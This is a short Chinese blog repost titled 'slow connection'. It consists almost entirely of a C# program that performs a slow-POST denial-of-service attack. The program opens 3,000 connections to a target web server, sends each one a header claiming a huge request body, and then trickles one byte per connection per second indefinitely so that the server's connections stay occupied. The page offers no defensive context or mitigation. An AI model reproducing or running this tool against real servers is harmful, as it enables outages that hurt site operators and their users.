博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
慢连接
阅读量:5025 次
发布时间:2019-06-12

本文共 1807 字,大约阅读时间需要 6 分钟。

static void Main(string[] args)        {            string host = "target";            int port = 8080;            int max_number_of_connection = 3000;            List
clients = new List
(); for (int i = 0; i < max_number_of_connection; i++) { TcpClient client = new TcpClient(); clients.Add(client); client.Connect(host, port); if (client.Connected) { string header = "POST /a HTTP/1.1\r\n" + "HOST: " + host + "\r\n" + "Connection: keep-alive\r\n" + "Keep-Alive: 900\r\n" + "Content-Length: 100000000\r\n" + "Content_Type: application/x-www-form-urlencoded\r\n" + "Accept: *.*\r\n"; int sent = client.Client.Send(System.Text.Encoding.Default.GetBytes(header)); if (sent <= 0) { Console.WriteLine("Error while connecting to server"); } else { Console.WriteLine("Connected"); } } } while (true) { int i = 0; foreach (TcpClient client in clients) { i++; client.Client.Send(System.Text.Encoding.Default.GetBytes("a")); Console.WriteLine("Client " + i + " just sent a byte."); } Thread.Sleep(1000); } }

 

转载于:https://www.cnblogs.com/ztiandan/archive/2013/06/10/3130517.html

你可能感兴趣的文章
浅谈之高级查询over(partition by)
查看>>
Notes: CRM Analytics–BI from a CRM perspective (2)
查看>>
graphite custom functions
查看>>
列出所有的属性键
查看>>
js获取请求地址后面带的参数
查看>>
[原创]使用java批量修改文件编码(ANSI-->UTF-8)
查看>>
设计模式のCompositePattern(组合模式)----结构模式
查看>>
二进制集合枚举子集
查看>>
磁盘管理
查看>>
SAS学习经验总结分享:篇二—input语句
查看>>
UIImage与UIColor互转
查看>>
RotateAnimation详解
查看>>
系统管理玩玩Windows Azure
查看>>
c#匿名方法
查看>>
如何判断链表是否有环
查看>>
【小程序】缓存
查看>>
ssh无密码登陆屌丝指南
查看>>
MySQL锁之三:MySQL的共享锁与排它锁编码演示
查看>>
docker常用命令详解
查看>>
jQuery技巧大放送
查看>>